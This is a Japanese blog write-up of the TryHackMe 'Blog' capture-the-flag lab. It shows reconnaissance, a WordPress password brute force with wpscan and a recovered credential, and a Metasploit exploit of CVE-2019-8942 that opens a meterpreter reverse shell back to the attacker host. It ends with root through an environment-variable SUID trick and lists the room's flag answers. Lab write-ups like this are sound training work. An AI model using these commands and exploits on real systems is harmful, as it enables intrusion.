どうも、のみぞうです。HardeningでWordpressに全然触れなかった鬱憤を晴らしたいと思います(単なる私情)自分用メモを公開しておきます。
準備
hostsファイルを編集しとけって指示があるのでしておく。これってやらないと何か不具合がおきるの?
echo "<IPアドレス> blog.thm" | sudo tee -a /etc/hosts
探索
早速 http://blog.thm にアクセスしてみる。
Google翻訳より:
Billy Joel の IT ブログ
お母さんからのメモ
ああ、ビリー!これはとても良いアイデアだと思います。最近解雇されたので、このブログを使用してチュートリアルやガイドを作成し、あなたと同じように IT 業界で働き始めたばかりの人々を支援することができます。きっと多くの人を助けるでしょう。
落ち込まないように注意してください。ポジティブさを保ち、今していることを続ければ、何か良いことが起こるでしょう。
ああ、起動して実行したら、この投稿を非表示にすることを忘れないでください…それは恥ずかしいでしょう(笑)!
愛を込めて、
ママ
トップページでいきなり最近解雇されて暇になったことを全世界にバラさせるビリー。落ち込まないでくださいとか言ってるけど傷口に塩を塗り込む事にならないのだろうか。そしてなぜお母さんが勝手に記事を書いてるのか経緯が謎。英語圏ではこういう感じが面白いの?
コメントも見てみる
Google翻訳より:
ビリー・ジョエル:
2020年5月26日午後3時30分
うーん。ありがとうお母さん。大変だったね。
カレン・ウィーラー:
2020年5月26日午後3時32分
私を怒らないでください!これからもブログをチェックして、どんなことが書かれているかチェックしてみます!
愛を込めて、
ママ
お母さんにブログをチェックされるのって地獄すぎん?ビリーが気の毒になってくるけどはっきり断ったりはしないらしい。
さて、多分攻略とは直接関係ないであろう世界観が気になりすぎるがいい加減ちゃんとReconする。
nmap
とりあえずかけつけnmap。
$nmap -sV -sC 10.10.193.69
(中略)
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
| 256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
|_ 256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-generator: WordPress 5.0
|_http-title: Billy Joel's IT Blog – The IT blog
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open Ь#V Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel
(後略)
ルーム自体がBlogって名前だったので先にサイトを見に行ってしまいましたが、まあまあ古いWordpressが使われてるのとSMBが怪しい雰囲気。
一応管理画面も見に行ってみる。adminでログイン施行してみると、invalid usrnameなので流石にデフォルトから変更されていることがわかる。
SMB
サンバといえばsmbmap試す。
$smbmap -H 10.10.193.69
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] IP: 10.10.193.69:445 Name: blog.thm Status: Authenticated
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
BillySMB READ, WRITE Billy's local SMB Share
IPC$ NO ACCESS IPC Service (blog server (Samba, Ubuntu))
BillySMBを発見した。
ダウンロード
$ smbclient //10.10.193.69/BillySMB
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Oct 14 15:15:04 2023
.. D 0 Wed May 27 02:58:23 2020
Alice-White-Rabbit.jpg N 33378 Wed May 27 03:17:01 2020
tswift.mp4 N 1236733 Wed May 27 03:13:45 2020
check-this.png N 3082 Wed May 27 03:13:43 2020
15413192 blocks of size 1024. 9790348 blocks available
smb: \> get Alice-White-Rabbit.jpg
getting file \Alice-White-Rabbit.jpg of size 33378 as Alice-White-Rabbit.jpg (25.1 KiloBytes/sec) (average 25.1 KiloBytes/sec)
smb: \> get tswift.mp4
getting file \tswift.mp4 of size 1236733 as tswift.mp4 (414.6 KiloBytes/sec) (average 294.5 KiloBytes/sec)
smb: \> get check-this.png
getting file \check-this.png of size 3082 as check-this.png (2.9 KiloBytes/sec) (average 237.2 KiloBytes/sec)
意味深な画像が手に入ったのでsteghideにかけてみる
$ steghide extract -sf Alice-White-Rabbit.jpg
Enter passphrase:
wrote extracted data to "rabbit_hole.txt".
$ cat rabbit_hole.txt
You've found yourself in a rabbit hole, friend.
(あなたはウサギの穴にいることに気づきました)
何じゃそりゃ!(いやラビットホールの意味は知ってますよ)
wpscan
WordPressだし直球でwpscan使えばよかった。ユーザー名を列挙する
$ wpscan --url http://blog.thm --enumerate u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.25
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://blog.thm/ [10.10.193.69]
[+] Started: Sat Oct 14 17:33:05 2023
(中略)
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:02 <================================================================================> (10 / 10) 100.00% Time: 00:00:02
[i] User(s) Identified:
[+] kwheel
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] bjoel
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] Karen Wheeler
| Found By: Rss Generator (Passive Detection)
| Confirmed By: Rss Generator (Aggressive Detection)
[+] Billy Joel
| Found By: Rss Generator (Passive Detection)
| Confirmed By: Rss Generator (Aggressive Detection)
(後略)
ビリーとお母さんの他に2人のユーザー(kwheelとbjoel)がいることがわかる。
このままwpscanでパスワードクラックをする。
┌──(kali㉿kali)-[~/output/hacker-panda/day7]
└─$ wpscan --url http://blog.thm -U kwheel,bjoel -P /usr/share/wordlists/rockyou.txt --password-attack wp-login -t 64
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.25
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://blog.thm/ [10.10.193.69]
[+] Started: Sat Oct 14 17:46:57 2023
(中略)
[+] Performing password attack on Wp Login against 2 user/s
[SUCCESS] - kwheel / cutiepie1
数分でクラックできた。
初期侵入
ここまで情報がそろったらmetasploit使えるので使う。使えるものはなんでも使うポリシーです。
$ msfconsole
msf6 > search CVE-2019-8942
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/wp_crop_rce 2019-02-19 excellent Yes WordPress Crop-image Shell Upload
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/wp_crop_rce
msf6 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_crop_rce) > show options
Module options (exploit/multi/http/wp_crop_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THEME_DIR no The WordPress theme dir name (disable theme auto-detection if provided)
USERNAME yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.3.70 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress
msf6 exploit(multi/http/wp_crop_rce) > set PASSWORD cutiepie1
PASSWORD => cutiepie1
msf6 exploit(multi/http/wp_crop_rce) > set RHOSTS http://blog.thm
RHOSTS => 10.10.193.69
msf6 exploit(multi/http/wp_crop_rce) > set USERNAME kwheel
USERNAME => kwheel
msf6 exploit(multi/http/wp_crop_rce) > set LHOST 10.14.47.124
LHOST => 10.14.47.124
msf6 exploit(multi/http/wp_crop_rce) > show options
Module options (exploit/multi/http/wp_crop_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD cutiepie1 yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS blog.thm yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THEME_DIR no The WordPress theme dir name (disable theme auto-detection if provided)
USERNAME kwheel yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.14.47.124 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/wp_crop_rce) > exploit
[*] Started reverse TCP handler on 10.14.47.124:4444
[*] Authenticating with WordPress using kwheel:cutiepie1...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (39927 bytes) to 10.10.193.69
[*] Meterpreter session 1 opened (10.14.47.124:4444 -> 10.10.193.69:49924) at 2023-10-14 18:18:45 +0900
[*] Attempting to clean up files...
meterpreter > pwd
/var/www/wordpress
シェル取れた
その足でユーザフラグを見に行く
meterpreter > cd /home/bjoel
meterpreter > cat user.txt
You won't find what you're looking for here.
TRY HARDER
(ここでは探しているものは見つかりません。もっと頑張ろう)
は????この流れでウソやん?
特権昇格
お約束としてSUIDをビットが立ってる子を探す
shell
find / -perm -u=s -type f 2>/dev/null
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/at
/usr/bin/newgidmap
/usr/bin/traceroute6.iputils
/usr/sbin/checker
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
(後略)
怪しい子がいる
謎バイナリ
実行してみる
$ checker
checker
Not an Admin
Adminじゃないよって言われる。
もっかい詳しくltrace
$ ltrace checker
getenv("admin") = nil
puts("Not an Admin") = 13
Not an Admin
+++ exited (status 0) +++
環境変数がadminがnullだとNot an Adminって言われることがわかる
なんでも良いのかな
$ export admin=hogehoge
$ ltrace checker
getenv("admin") = "hogehoge"
setuid(0) = -1
system("/bin/bash"
id
uid=0(root) gid=33(www-data) groups=33(www-data)
いけてしまった。
フラグ回収
root.txt
$ find / 2>/dev/null |grep root.txt
/root/root.txt
$ cat /root/root.txt
user.txt
$ find / 2>/dev/null | grep user.txt
/home/bjoel/user.txt
/media/usb/user.txt
$ cat /media/usb/user.txt
これ別に無理にひねらなくてよかったと思うけどなあ…
Where was user.txt found?
/media/usb
What CMS was Billy using?
WordPress
What version of the above CMS was being used?
5.0